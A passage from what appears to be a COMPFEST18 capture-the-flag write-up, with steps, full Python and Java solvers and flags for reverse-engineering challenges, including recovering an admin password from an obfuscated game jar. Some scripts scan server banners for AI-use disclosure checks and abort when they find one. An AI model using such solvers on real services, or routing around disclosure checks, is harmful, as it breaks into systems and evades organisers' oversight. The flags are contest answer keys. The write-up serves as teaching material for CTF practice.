            print(f&quot;signature {signature_index + 1}/4 collected&quot;, flush=True)

        secret = recover_secret(signatures, prefixes, records[0])
        print(&quot;unit 0 secret recovered and public key verified&quot;, flush=True)

        sock.sendall(b&quot;6\n&quot;)
        response = recv_until(sock, b&quot;  Code (integer): &quot;)
        ensure_no_ai_disclosure(response)
        sock.sendall(f&quot;{secret}\n&quot;.encode())
        chunks = []
        while True:
            try:
                chunk = sock.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            chunks.append(chunk)
        response = b&quot;&quot;.join(chunks)
        ensure_no_ai_disclosure(response)
        print(response.decode(errors=&quot;replace&quot;).strip(), flush=True)


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h2 id="final-flag-2">Final Flag</h2>
<pre><code>COMPFEST18{b1as3d_n0nc3_mt_r3c0v3ry_lll_hnp_go_brr_727e3a9724b244c1}</code></pre><h1 id="reverse-engineering">Reverse Engineering</h1>
<h2 id="4-backrooms">4. Backrooms</h2>
<h2 id="steps-3">Steps</h2>
<ol>
<li>Reimplement the glibc LCG (<code>s = 1103515245*s + 12345</code>, starting from <code>-1544449459</code>) and the per-byte transform <code>BYTE2(s) ^ ror8((tweak + blob[i]) &amp; 0xff, i%7 + 1)</code>, where <code>tweak</code> starts at <code>-37</code> and is decremented by 13 on each iteration, and run it over the 60-byte blob.</li>
<li>Expand each output byte into 8 bits, most significant first, which yields 480 bits that are read as a 120x4 bitmap.</li>
<li>Read the 30 glyphs of the 3x4 font out of that bitmap. The decode is self-validating, because the first eleven glyphs already read <code>COMPFEST18{</code> before any font guessing matters. The recovered bitmap is:</li>
</ol>
<pre><code>.##.###.##..###.###.###..##.###.##...##...#.#.#.###.....###..##.....##...#......#.#.###.###.###..##.....###.#...##..#...
#...#.#.###.#.#.#...##..##...#...#..###.##..###.##.......#..##.......##.#.#.....#.#.##..#.#.#.#.##......#.#.#...#.#..##.
#...#.#.#.#.###.##..#.....#..#...#..#.#..#..#.#.#........#....#.....#...#.#......#..#...###.##....#.....#.#.#...#.#..#..
.##.###.#.#.#...#...###.##...#..###.###...#.#.#.###.###.###.##..###.###..#..###..#..###.#.#.#.#.##..###.###.###.##..#...</code></pre><p>The self-validating <code>COMPFEST18{</code> prefix together with the font reading yields the full string, with no need to launch the game at all.</p>
<h3 id="exploit-3">Exploit</h3>
<pre><code class="language-python">from __future__ import annotations

import argparse
import hashlib
from pathlib import Path


OFFSET = 0x2F3E978
SIZE = 60
EXPECTED_EXE_SHA256 = &quot;3e8519f749f4cafca927bfa46388f1ebb1a43b9635efa2b9a5267b53337f6418&quot;

GLYPHS = {
    &quot;011/100/100/011&quot;: &quot;C&quot;,
    &quot;111/101/101/111&quot;: &quot;O&quot;,
    &quot;110/111/101/101&quot;: &quot;M&quot;,
    &quot;111/101/111/100&quot;: &quot;P&quot;,
    &quot;111/100/110/100&quot;: &quot;F&quot;,
    &quot;111/110/100/111&quot;: &quot;E&quot;,
    &quot;011/110/001/110&quot;: &quot;S&quot;,
    &quot;111/010/010/010&quot;: &quot;T&quot;,
    &quot;110/010/010/111&quot;: &quot;1&quot;,
    &quot;011/111/101/111&quot;: &quot;8&quot;,
    &quot;001/110/010/001&quot;: &quot;{&quot;,
    &quot;101/111/101/101&quot;: &quot;H&quot;,
    &quot;000/000/000/111&quot;: &quot;_&quot;,
    &quot;111/010/010/111&quot;: &quot;I&quot;,
    &quot;110/011/100/111&quot;: &quot;2&quot;,
    &quot;010/101/101/010&quot;: &quot;0&quot;,
    &quot;101/101/010/010&quot;: &quot;Y&quot;,
    &quot;111/101/111/101&quot;: &quot;A&quot;,
    &quot;111/101/110/101&quot;: &quot;R&quot;,
    &quot;100/100/100/111&quot;: &quot;L&quot;,
    &quot;110/101/101/110&quot;: &quot;D&quot;,
    &quot;100/011/010/100&quot;: &quot;}&quot;,
}


def ror8(value: int, count: int) -&gt; int:
    count &amp;= 7
    return ((value &gt;&gt; count) | (value &lt;&lt; (8 - count))) &amp; 0xFF


def decrypt(ciphertext: bytes) -&gt; bytes:
    if len(ciphertext) != SIZE:
        raise ValueError(f&quot;expected {SIZE} ciphertext bytes, got {len(ciphertext)}&quot;)

    seed = 0xA3F1924D
    addend = -0x25
    plaintext = bytearray()

    for index, byte in enumerate(ciphertext):
        seed = (seed * 0x41C64E6D + 0x3039) &amp; 0xFFFFFFFF
        value = ror8((byte + addend) &amp; 0xFF, (index % 7) + 1)
        plaintext.append(value ^ ((seed &gt;&gt; 16) &amp; 0xFF))
        addend -= 13

    return bytes(plaintext)


def bitmap_rows(plaintext: bytes) -&gt; list[str]:
    bits = &quot;&quot;.join(f&quot;{byte:08b}&quot; for byte in plaintext)
    if len(bits) != 4 * 120:
        raise ValueError(f&quot;expected a 4x120 bitmap, got {len(bits)} bits&quot;)
    return [bits[row * 120 : (row + 1) * 120] for row in range(4)]


def decode_rows(rows: list[str]) -&gt; str:
    if len(rows) != 4 or any(len(row) != 120 for row in rows):
        raise ValueError(&quot;bitmap must contain four 120-bit rows&quot;)

    output = []
    for column in range(0, 120, 4):
        if any(row[column + 3] != &quot;0&quot; for row in rows):
            raise ValueError(f&quot;nonempty separator column at x={column + 3}&quot;)
        pattern = &quot;/&quot;.join(row[column : column + 3] for row in rows)
        try:
            output.append(GLYPHS[pattern])
        except KeyError as exc:
            raise ValueError(f&quot;unknown glyph {pattern!r} at x={column}&quot;) from exc
    return &quot;&quot;.join(output)


def main() -&gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;executable&quot;, type=Path)
    parser.add_argument(&quot;--bitmap&quot;, action=&quot;store_true&quot;, help=&quot;also print the decoded bitmap&quot;)
    parser.add_argument(
        &quot;--allow-different-hash&quot;,
        action=&quot;store_true&quot;,
        help=&quot;process a differently hashed executable that uses the same layout&quot;,
    )
    args = parser.parse_args()

    executable = args.executable.read_bytes()
    digest = hashlib.sha256(executable).hexdigest()
    if digest != EXPECTED_EXE_SHA256 and not args.allow_different_hash:
        raise SystemExit(
            f&quot;unexpected executable SHA-256: {digest}\n&quot;
            &quot;use --allow-different-hash only after checking that the layout is unchanged&quot;
        )

    ciphertext = executable[OFFSET : OFFSET + SIZE]
    rows = bitmap_rows(decrypt(ciphertext))

    if args.bitmap:
        for row in rows:
            print(&quot;&quot;.join(&quot;##&quot; if bit == &quot;1&quot; else &quot;  &quot; for bit in row))
    print(decode_rows(rows))


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h2 id="final-flag-3">Final Flag</h2>
<pre><code>COMPFEST18{HE_IS_20_YEARS_OLD}</code></pre><h2 id="5-its-me-burhan">5. IT&#39;S ME, BURHAN!</h2>
<h2 id="steps-4">Steps</h2>
<ol>
<li>Deobfuscate the jar reflectively, then identify the decoy class <code>a</code> (Admin) and the real verifier <code>o</code>.</li>
<li>Log in as <code>frieren</code>, read the level and the coin count, predict the three chained quests (they are a function of level and coins alone), win them, and scrape the six sigils.</li>
<li>Recover <code>u</code>, the alphabet, and <code>y</code>, then invert the nine keyed steps to obtain the 16-character admin password. This was validated offline, because the <code>y</code> recomputed from the harvested values matched and the recovered password logged in against the local jar.</li>
<li>Log in as <code>burhan</code>, open admin menu 13, and peel the same nine steps off the hex blob to decrypt the flag. A single driver runs this end to end over the authentication proxy and prints the following:</li>
</ol>
<pre><code>[*] level=10 coins=9545   [*] chain = Q5 &gt; Q3 &gt; Q9
[+] admin password = SJ4GQL2Q5MVH7T5Z
[+] admin login OK -&gt; menu 13 -&gt; decrypt</code></pre><h3 id="exploit-4">Exploit</h3>
<p><code>solve.py</code></p>
<pre><code class="language-python">import sys
ARGV = list(sys.argv)
import argparse, re, subprocess
from pathlib import Path
from pwn import remote, context

context.log_level = &quot;error&quot;
HERE = Path(__file__).resolve().parent
JAR = HERE / &quot;burhanquest.jar&quot;
CLEAN = re.compile(rb&quot;\x1b\[[0-9;]*[A-Za-z]&quot;)


def java(cls, *args):
    out = subprocess.run([&quot;java&quot;, &quot;-cp&quot;, str(HERE), cls, str(JAR), *map(str, args)],
                         capture_output=True, text=True, timeout=900)
    if out.returncode != 0:
        raise RuntimeError(out.stderr[-800:])
    return out.stdout


class Game:
    def __init__(self, host, port, tok):
        self.r = remote(host, port, timeout=30)
        self.r.sendline(tok.encode())
        self.rd(6)

    def rd(self, t=8):
        return CLEAN.sub(b&quot;&quot;, self.r.recvrepeat(t)).decode(errors=&quot;replace&quot;)

    def go(self, text, t=8):
        self.r.sendline(str(text).encode())
        return self.rd(t)

    def login(self, user, password):
        self.go(&quot;1&quot;)
        self.go(user)
        return self.go(password, 10)


def sigil(text, kind):
    m = re.search(rf&quot;sigil-{kind}(?:\s*\[([^\]]*)\])?:\s*([0-9a-zA-Z]+)&quot;, text)
    if not m:
        raise RuntimeError(f&quot;no sigil-{kind} in:\n{text[-600:]}&quot;)
    return m.group(1), m.group(2)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;--host&quot;, required=True, help=&quot;&lt;target host, port&gt;&quot;)
    parser.add_argument(&quot;--port&quot;, required=True, type=int)
    parser.add_argument(&quot;--token&quot;, required=True, help=&quot;CTFd access token for the auth proxy&quot;)
    args = parser.parse_args(ARGV[1:])

    g = Game(args.host, args.port, args.token)
    g.login(&quot;frieren&quot;, &quot;frieren&quot;)

    listing = g.go(&quot;2&quot;, 12)
    rewards = {}
    for block in listing.split(&quot;ID Quest: &quot;)[1:]:
        qid = block.split(&quot;\n&quot;)[0].strip()
        koin = re.search(r&quot;Reward Koin: (\d+)&quot;, block)
        if koin:
            rewards[qid] = int(koin.group(1))

    profile = g.go(&quot;6&quot;, 10)
    level = int(re.search(r&quot;Level\s*:\s*(\d+)&quot;, profile).group(1))
    coins = int(re.search(r&quot;Koin\s*:\s*(\d+)&quot;, profile).group(1))
    print(f&quot;level={level} coins={coins}&quot;, flush=True)

    chain = re.findall(r&quot;Q(\d+)&quot;, java(&quot;Chain&quot;, coins, level))
    print(f&quot;chain = {&#39; &gt; &#39;.join(&#39;Q&#39; + q for q in chain)}&quot;, flush=True)

    battles, links, gained = [], [], []
    for step, q in enumerate(chain):
        g.go(&quot;5&quot;, 8)
        out = g.go(f&quot;Q{q}&quot;, 30)
        link, value = sigil(out, &quot;pertempuran&quot;)
        battles.append(int(value))
        got = re.search(r&quot;mendapatkan (\d+) exp dan (\d+) koin&quot;, out)
        gained.append((int(got.group(1)), int(got.group(2))) if got else (0, 0))
        links.append(link)
        print(f&quot;  Q{q}: sigil-pertempuran [{link}] = {value}&quot;, flush=True)
        if step == 1:
            kind, menu = &quot;ekspor&quot;, &quot;6&quot;
        else:
            kind, menu = &quot;arsip&quot;, &quot;7&quot;
        _, side = sigil(g.go(menu, 10), kind)
        links.append(side)
        print(f&quot;       sigil-{kind} = {side}&quot;, flush=True)

    b_p, c_p = battles[0], links[1]
    b_q, d_q = battles[1], links[3]
    b_r, c_r = battles[2], links[5]
    listed = sum(rewards[f&quot;Q{q}&quot;] for q in chain)
    candidates = [
        (&quot;listed koin&quot;, coins + listed),
        (&quot;awarded koin&quot;, coins + sum(k for _, k in gained)),
        (&quot;listed exp&quot;, coins + sum(exp for exp, _ in gained)),
    ]
    print(&quot;s candidates:&quot;, candidates, flush=True)

    password = None
    for label, s in candidates:
        result = java(&quot;Solve&quot;, level, coins, b_p, c_p, b_q, d_q, b_r, c_r, s)
        cand = re.search(r&quot;PASSWORD=(\S+)&quot;, result).group(1)
        print(f&quot;[{label}] s={s} -&gt; {cand}&quot;, flush=True)
        print(&quot;   &quot; + &quot; / &quot;.join(result.strip().splitlines()[-2:]), flush=True)
        g.go(&quot;0&quot;, 8)
        out = g.login(&quot;burhan&quot;, cand)
        print(&quot;   login response: &quot; + &quot; | &quot;.join(
            l.strip() for l in out.splitlines() if l.strip())[:300], flush=True)
        if &quot;berhasil&quot; in out.lower():
            password, chosen = cand, s
            print(f&quot;admin login OK with {label}&quot;, flush=True)
            break
        g.login(&quot;frieren&quot;, &quot;frieren&quot;)
    if password is None:
        raise SystemExit(&quot;no candidate password was accepted&quot;)
    s = chosen

    menu = g.go(&quot;13&quot;, 15)
    blob = re.search(r&quot;([0-9a-fA-F]{40,})&quot;, menu)
    if not blob:
        raise SystemExit(f&quot;no hex blob in admin menu 13:\n{menu[-1200:]}&quot;)
    print(f&quot;encrypted flag: {blob.group(1)[:64]}...&quot;, flush=True)

    final = java(&quot;Solve&quot;, level, coins, b_p, c_p, b_q, d_q, b_r, c_r, s, blob.group(1))
    print(&quot;FLAG:&quot;, re.search(r&quot;FLAG=(.+)&quot;, final).group(1).strip())
    g.r.close()


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<p><code>Chain.java</code></p>
<pre><code class="language-java">import java.lang.reflect.*; import java.net.*; import java.io.*; import java.util.*;
public class Chain { public static void main(String[] a) throws Exception {
  URLClassLoader cl=new URLClassLoader(new URL[]{new File(a[0]).toURI().toURL()}, Chain.class.getClassLoader());
  Class&lt;?&gt; P=cl.loadClass(&quot;p&quot;);
  int g=Integer.parseInt(a[1]), h=Integer.parseInt(a[2]);
  Method pai=P.getMethod(&quot;a&quot;, int.class);
  Method pbb=P.getMethod(&quot;b&quot;, byte[].class);
  Method paa=P.getMethod(&quot;a&quot;, byte[].class, byte[].class);
  Method pal=P.getMethod(&quot;a&quot;, long.class, int.class, int.class);
  byte[] bh=(byte[])pai.invoke(null,h), bg=(byte[])pai.invoke(null,g);
  Method pad=P.getDeclaredMethod(&quot;a&quot;, byte[].class); pad.setAccessible(true);
  byte[] cat=(byte[])paa.invoke(null,bh,bg);
  byte[] dg=(byte[])pad.invoke(null,(Object)cat);
  long n=((Long)pbb.invoke(null,(Object)dg)) % 4896L;
  int[] o=(int[])pal.invoke(null,n,18,3);
  System.out.println(&quot;  g(level)=&quot;+g+&quot;  h(coins)=&quot;+h);
  System.out.println(&quot;  n=&quot;+n+&quot;  o=&quot;+Arrays.toString(o));
  System.out.print(&quot;  chain quests: &quot;);
  for(int v:o) System.out.print(&quot;Q&quot;+(v+1)+&quot; &quot;);
  System.out.println();
}}</code></pre>
<p><code>Solve.java</code></p>
<pre><code class="language-java">import java.io.*;
import java.lang.reflect.*;
import java.net.*;
import java.util.*;

public class Solve {
    static Class&lt;?&gt; P;
    static Method aInt, bBytes, aBB, aB, aLII, bInt, aIB, bBB, aBI, bStr, aIArr;

    static Method m(Class&lt;?&gt; c, String n, Class&lt;?&gt;... p) throws Exception {
        Method x = c.getDeclaredMethod(n, p);
        x.setAccessible(true);
        return x;
    }

    static void bind(ClassLoader cl) throws Exception {
        P = cl.loadClass(&quot;p&quot;);
        aInt  = m(P, &quot;a&quot;, int.class);
        bBytes= m(P, &quot;b&quot;, byte[].class);
        aBB   = m(P, &quot;a&quot;, byte[].class, byte[].class);
        aB    = m(P, &quot;a&quot;, byte[].class);
        aLII  = m(P, &quot;a&quot;, long.class, int.class, int.class);
        bInt  = m(P, &quot;b&quot;, int.class);
        aIB   = m(P, &quot;a&quot;, int.class, byte[].class);
        bBB   = m(P, &quot;b&quot;, byte[].class, byte[].class);
        aBI   = m(P, &quot;a&quot;, byte[].class, int.class);
        bStr  = m(P, &quot;b&quot;, String.class);
        aIArr = m(P, &quot;a&quot;, int.class, int[].class);
    }

    static byte[] enc(int v) throws Exception { return (byte[]) aInt.invoke(null, v); }
    static byte[] enc(String s) throws Exception { return (byte[]) bStr.invoke(null, s); }
    static byte[] cat(byte[] a, byte[] b) throws Exception { return (byte[]) aBB.invoke(null, a, b); }
    static byte[] digest(byte[] a) throws Exception { return (byte[]) aB.invoke(null, (Object) a); }
    static long fold(byte[] a) throws Exception { return (Long) bBytes.invoke(null, (Object) a); }
    static int[] spread(long v, int a, int b) throws Exception { return (int[]) aLII.invoke(null, v, a, b); }
    static byte[] step(int k, byte[] v) throws Exception { return (byte[]) aIB.invoke(null, k, v); }
    static int[] step(int k, int[] v) throws Exception { return (int[]) aIArr.invoke(null, k, v); }

    static int[] target(byte[][] parts, int[] u, int[] w) throws Exception {
        byte[][] r = new byte[parts.length][];
        for (int i = 0; i &lt; parts.length; i++) r[i] = parts[w[i]];
        byte[] acc = digest(step(u[0], r[0]));
        for (int i = 1; i &lt; r.length; i++)
            acc = (byte[]) bBB.invoke(null, acc, step(u[i], r[i]));
        return (int[]) aBI.invoke(null, acc, 16);
    }

    static int[] unstep(int key, int[] out, int radix) throws Exception {
        int n = out.length;
        int[] sigma = new int[n];
        int[][] g = new int[n][radix];
        for (int j = 0; j &lt; n; j++) {
            int[] zero = new int[n];
            int[] base = step(key, zero);
            for (int v = 1; v &lt; radix; v++) {
                int[] vec = new int[n]; vec[j] = v;
                int[] o = step(key, vec);
                for (int i = 0; i &lt; n; i++)
                    if (o[i] != base[i]) { sigma[j] = i; g[i][v] = o[i]; }
            }
            g[sigma[j]][0] = base[sigma[j]];
        }
        int[] in = new int[n];
        for (int j = 0; j &lt; n; j++) {
            int i = sigma[j], want = out[i], found = -1;
            for (int v = 0; v &lt; radix; v++) if (g[i][v] == want) { found = v; break; }
            if (found &lt; 0) throw new IllegalStateException(&quot;no preimage at step &quot; + key);
            in[j] = found;
        }
        return in;
    }

    static byte[] unstepBytes(int key, byte[] out) throws Exception {
        byte[] viaPerm = tryPermutationBytes(key, out);
        if (viaPerm != null &amp;&amp; Arrays.equals(step(key, viaPerm), out)) return viaPerm;

        int n = out.length;
        byte[] in = new byte[n];
        for (int i = 0; i &lt; n; i++) {
            boolean ok = false;
            for (int v = 0; v &lt; 256; v++) {
                in[i] = (byte) v;
                if (step(key, in)[i] == out[i]) { ok = true; break; }
            }
            if (!ok) throw new IllegalStateException(&quot;no causal preimage at byte &quot; + i);
        }
        if (!Arrays.equals(step(key, in), out))
            throw new IllegalStateException(&quot;byte inverse failed for key &quot; + key);
        return in;
    }

    static byte[] tryPermutationBytes(int key, byte[] out) throws Exception {
        int n = out.length;
        int[] sigma = new int[n];
        int[][] g = new int[n][256];
        byte[] base = step(key, new byte[n]);
        for (int j = 0; j &lt; n; j++) {
            int hits = 0;
            for (int v = 1; v &lt; 256; v++) {
                byte[] vec = new byte[n]; vec[j] = (byte) v;
                byte[] o = step(key, vec);
                int touched = -1;
                for (int i = 0; i &lt; n; i++) if (o[i] != base[i]) { touched = i; hits++; }
                if (touched &lt; 0) return null;
                sigma[j] = touched; g[touched][v] = o[touched] &amp; 0xff;
            }
            if (hits != 255) return null;
            g[sigma[j]][0] = base[sigma[j]] &amp; 0xff;
        }
        byte[] in = new byte[n];
        for (int j = 0; j &lt; n; j++) {
            int i = sigma[j], want = out[i] &amp; 0xff, found = -1;
            for (int v = 0; v &lt; 256; v++) if (g[i][v] == want) { found = v; break; }
            if (found &lt; 0) return null;
            in[j] = (byte) found;
        }
        return in;
    }

    static byte[] fromHex(String s) {
        s = s.trim().replaceAll(&quot;[^0-9a-fA-F]&quot;, &quot;&quot;);
        byte[] out = new byte[s.length() / 2];
        for (int i = 0; i &lt; out.length; i++)
            out[i] = (byte) Integer.parseInt(s.substring(2 * i, 2 * i + 2), 16);
        return out;
    }

    public static void main(String[] args) throws Exception {
        URLClassLoader cl = new URLClassLoader(
                new URL[]{new File(args[0]).toURI().toURL()}, Solve.class.getClassLoader());
        bind(cl);

        if (args[1].equals(&quot;selftest&quot;)) { selftest(cl); return; }
        if (args[1].equals(&quot;verify&quot;)) { verify(cl); return; }

        int h  = Integer.parseInt(args[1]);
        int g  = Integer.parseInt(args[2]);
        int bp = Integer.parseInt(args[3]);
        String cp = args[4];
        int bq = Integer.parseInt(args[5]);
        String dq = args[6];
        int br = Integer.parseInt(args[7]);
        String cr = args[8];
        int s  = Integer.parseInt(args[9]);
        String flagHex = args.length &gt; 10 ? args[10] : null;

        byte[][] parts = { enc(h), enc(g), enc(bp), enc(cp), enc(bq), enc(dq),
                           enc(br), enc(cr), enc(s) };
        byte[] acc = new byte[0];
        for (byte[] part : parts) acc = cat(acc, part);
        long t = Math.floorMod(fold(digest(acc)), 17643225600L);
        int[] u = spread(t, 18, 9);
        long v = Math.floorMod(fold(digest(cat(enc(g), enc(h)))), 362880L);
        int[] w = spread(v, 9, 9);
        int x = (int) (t % 32);
        String alpha = (String) bInt.invoke(null, x);
        int[] y = target(parts, u, w);

        int[] cur = y.clone();
        for (int i = u.length - 1; i &gt;= 0; i--) cur = unstep(u[i], cur, alpha.length());
        StringBuilder pw = new StringBuilder();
        for (int c : cur) pw.append(alpha.charAt(c));
        System.out.println(&quot;t=&quot; + t + &quot; x=&quot; + x + &quot; alphabet=&quot; + alpha);
        System.out.println(&quot;u=&quot; + Arrays.toString(u) + &quot; w=&quot; + Arrays.toString(w));
        System.out.println(&quot;y=&quot; + Arrays.toString(y));
        System.out.println(&quot;PASSWORD=&quot; + pw);

        if (flagHex != null) {
            byte[] blob = fromHex(flagHex);
            for (int i = u.length - 1; i &gt;= 0; i--) blob = unstepBytes(u[i], blob);
            System.out.println(&quot;FLAG=&quot; + new String(blob, &quot;UTF-8&quot;));
        }
    }


    static void verify(ClassLoader cl) throws Exception {
        Class&lt;?&gt; L = cl.loadClass(&quot;l&quot;);
        Method c = L.getDeclaredMethod(&quot;c&quot;); c.setAccessible(true);
        Object inst = c.invoke(null);
        Field[] want = {L.getDeclaredField(&quot;g&quot;), L.getDeclaredField(&quot;h&quot;), L.getDeclaredField(&quot;p&quot;),
                        L.getDeclaredField(&quot;q&quot;), L.getDeclaredField(&quot;r&quot;), L.getDeclaredField(&quot;s&quot;),
                        L.getDeclaredField(&quot;t&quot;), L.getDeclaredField(&quot;u&quot;), L.getDeclaredField(&quot;x&quot;),
                        L.getDeclaredField(&quot;y&quot;), L.getDeclaredField(&quot;w&quot;), L.getDeclaredField(&quot;o&quot;)};
        for (Field f : want) f.setAccessible(true);
        int g = want[0].getInt(inst), h = want[1].getInt(inst);
        String pp = (String) want[2].get(inst), qq = (String) want[3].get(inst), rr = (String) want[4].get(inst);
        int s = want[5].getInt(inst);
        Method mb = L.getDeclaredMethod(&quot;b&quot;, String.class); mb.setAccessible(true);
        Method mc = L.getDeclaredMethod(&quot;c&quot;, String.class); mc.setAccessible(true);
        Method md = L.getDeclaredMethod(&quot;d&quot;, String.class); md.setAccessible(true);
        int bp = (Integer) mb.invoke(inst, pp), bq = (Integer) mb.invoke(inst, qq), br = (Integer) mb.invoke(inst, rr);
        String cp = (String) mc.invoke(inst, pp), dq = (String) md.invoke(inst, qq), cr = (String) mc.invoke(inst, rr);
        System.out.println(&quot;local: g=&quot; + g + &quot; h=&quot; + h + &quot; s=&quot; + s);
        System.out.println(&quot;       p=&quot; + pp + &quot; q=&quot; + qq + &quot; r=&quot; + rr);
        System.out.println(&quot;       o=&quot; + Arrays.toString((int[]) want[11].get(inst)));
        System.out.println(&quot;       bp=&quot; + bp + &quot; cp=&quot; + cp + &quot; bq=&quot; + bq + &quot; dq=&quot; + dq + &quot; br=&quot; + br + &quot; cr=&quot; + cr);

        byte[][] parts = { enc(h), enc(g), enc(bp), enc(cp), enc(bq), enc(dq), enc(br), enc(cr), enc(s) };
        byte[] acc = new byte[0];
        for (byte[] part : parts) acc = cat(acc, part);
        long t = Math.floorMod(fold(digest(acc)), 17643225600L);
        int[] u = spread(t, 18, 9);
        long v = Math.floorMod(fold(digest(cat(enc(g), enc(h)))), 362880L);
        int[] w = spread(v, 9, 9);
        int x = (int) (t % 32);
        int[] y = target(parts, u, w);
        System.out.println(&quot;t  mine=&quot; + t + &quot;  jar=&quot; + want[6].getLong(inst));
        System.out.println(&quot;u  mine=&quot; + Arrays.toString(u) + &quot;  jar=&quot; + Arrays.toString((int[]) want[7].get(inst)));
        System.out.println(&quot;w  mine=&quot; + Arrays.toString(w) + &quot;  jar=&quot; + Arrays.toString((int[]) want[10].get(inst)));
        System.out.println(&quot;x  mine=&quot; + x + &quot;  jar=&quot; + want[8].getInt(inst));
        System.out.println(&quot;y  mine=&quot; + Arrays.toString(y) + &quot;  jar=&quot; + Arrays.toString((int[]) want[9].get(inst)));
    }


    static void selftest(ClassLoader cl) throws Exception {
        Class&lt;?&gt; L = cl.loadClass(&quot;l&quot;);
        Method c = L.getDeclaredMethod(&quot;c&quot;); c.setAccessible(true);
        Object inst = c.invoke(null);
        Field fu = L.getDeclaredField(&quot;u&quot;), fx = L.getDeclaredField(&quot;x&quot;), fy = L.getDeclaredField(&quot;y&quot;);
        fu.setAccessible(true); fx.setAccessible(true); fy.setAccessible(true);
        int[] u = (int[]) fu.get(inst), y = (int[]) fy.get(inst);
        String alpha = (String) bInt.invoke(null, fx.getInt(inst));

        int[] cur = y.clone();
        for (int i = u.length - 1; i &gt;= 0; i--) cur = unstep(u[i], cur, alpha.length());
        StringBuilder pw = new StringBuilder();
        for (int q : cur) pw.append(alpha.charAt(q));
        Method chk = L.getDeclaredMethod(&quot;a&quot;, String.class); chk.setAccessible(true);
        System.out.println(&quot;password &quot; + pw + &quot; accepted by l.a(): &quot; + chk.invoke(inst, pw.toString()));

        byte[] probe = &quot;COMPFEST18{round_trip_probe_0123456789}&quot;.getBytes(&quot;UTF-8&quot;);
        byte[] enc = probe.clone();
        for (int k : u) enc = step(k, enc);
        byte[] dec = enc.clone();
        for (int i = u.length - 1; i &gt;= 0; i--) dec = unstepBytes(u[i], dec);
        System.out.println(&quot;byte round-trip: &quot; + Arrays.equals(probe, dec)
                + &quot;  -&gt; &quot; + new String(dec, &quot;UTF-8&quot;));
    }
}</code></pre>
<h2 id="final-flag-4">Final Flag</h2>
<pre><code>COMPFEST18{bUR_BuR_BUr_buRh4n_h4Un7s_m3_t!L_t0D4y_AhQdTQwsw5aaypDR}</code></pre><h2 id="6-the-last-bitbender">6. The Last Bitbender</h2>
<h2 id="steps-5">Steps</h2>
<ol>
<li>Extract the bytes in <code>[0x600, 0x8a2)</code> from <code>chall.exe</code>.</li>
<li>Reproduce the three decryption loops for the regions <code>0xd4..0x196</code>, <code>0x196..0x230</code> and <code>0x230..0x282</code> of the extracted blob.</li>
<li>Disassemble each stage in its x86-32 or x86-64 mode and translate the final arithmetic into the solver.</li>
<li>Run the local self-test and require an exact match with the embedded expected vector. Do not contact the remote service before that check passes.</li>
<li>Apply the transform to the challenge value the service sends and return the result.</li>
<li>The service answers <code>ok</code> and then returns the flag.</li>
</ol>
<h3 id="exploit-5">Exploit</h3>
<p><code>solve.py</code></p>
<pre><code class="language-python">import argparse
import getpass
import re
import socket


MASK64 = (1 &lt;&lt; 64) - 1
KEY = 0xA6F1C0D93B5E2748
CMUL = 0xFF51AFD7ED558CCD
SELF_TEST_INPUT = bytes.fromhex(&quot;9c41e07db2f5361a8ad30c47e961b5f2&quot;)
SELF_TEST_EXPECTED = bytes.fromhex(&quot;023a3db6ab0ec7efd2babd484c91f80f&quot;)
DISCLOSURE_PATTERN = re.compile(
    rb&quot;i-am-using-an-ai-agent|using\s+(?:an?\s+)?ai|ai\s+agent|&quot;
    rb&quot;disclos\w*\s+ai|check\w*[^\r\n]{0,40}\bai\b&quot;,
    re.IGNORECASE,
)


def rol64(value: int, count: int) -&gt; int:
    return ((value &lt;&lt; count) | (value &gt;&gt; (64 - count))) &amp; MASK64


def transform(request: bytes) -&gt; bytes:
    if len(request) != 16:
        raise ValueError(&quot;request must contain exactly 16 bytes&quot;)

    left = int.from_bytes(request[:8], &quot;little&quot;) ^ KEY
    right = int.from_bytes(request[8:], &quot;little&quot;)

    left = (left + (left &amp; 0xFFFFFFFF) * (right &amp; 0xFFFFFFFF)) &amp; MASK64
    right = rol64(right, 13)
    left ^= right

    right = (right + left) &amp; MASK64
    right = rol64(right, 29)
    right = (right * CMUL) &amp; MASK64
    left = rol64((left + right) &amp; MASK64, 17)

    return (left ^ right).to_bytes(8, &quot;little&quot;) + (
        (left + right) &amp; MASK64
    ).to_bytes(8, &quot;little&quot;)


def self_test() -&gt; None:
    actual = transform(SELF_TEST_INPUT)
    print(f&quot;self-test input:    {SELF_TEST_INPUT.hex()}&quot;)
    print(f&quot;self-test expected: {SELF_TEST_EXPECTED.hex()}&quot;)
    print(f&quot;self-test actual:   {actual.hex()}&quot;)
    if actual != SELF_TEST_EXPECTED:
        raise SystemExit(&quot;self-test failed&quot;)
    print(&quot;self-test: PASS&quot;)


def solve_remote(host: str, port: int) -&gt; None:
    with socket.create_connection((host, port), timeout=10) as connection:
        connection.settimeout(3)
        banner = connection.recv(4096)
        print(banner.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;), end=&quot;&quot;)

        if DISCLOSURE_PATTERN.search(banner):
            raise SystemExit(&quot;AI-use disclosure/check detected; response not sent&quot;)

        if b&quot;CTFd access token:&quot; in banner:
            token = getpass.getpass(&quot;&quot;)
            connection.sendall(token.encode(&quot;utf-8&quot;) + b&quot;\n&quot;)
            token = &quot;&quot;
            banner = connection.recv(4096)
            print(banner.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;), end=&quot;&quot;)
            if DISCLOSURE_PATTERN.search(banner):
                raise SystemExit(&quot;AI-use disclosure/check detected; response not sent&quot;)

        match = re.search(rb&quot;request:\s*([0-9a-fA-F]{32})&quot;, banner)
        if not match:
            raise SystemExit(&quot;no 16-byte request found; response not sent&quot;)

        request = bytes.fromhex(match.group(1).decode(&quot;ascii&quot;))
        response = transform(request).hex().encode(&quot;ascii&quot;)
        print(f&quot;response: {response.decode(&#39;ascii&#39;)}&quot;)
        connection.sendall(response + b&quot;\n&quot;)

        chunks = []
        while True:
            try:
                chunk = connection.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            chunks.append(chunk)
        print(b&quot;&quot;.join(chunks).decode(&quot;utf-8&quot;, errors=&quot;replace&quot;), end=&quot;&quot;)


def main() -&gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;host&quot;, nargs=&quot;?&quot;)
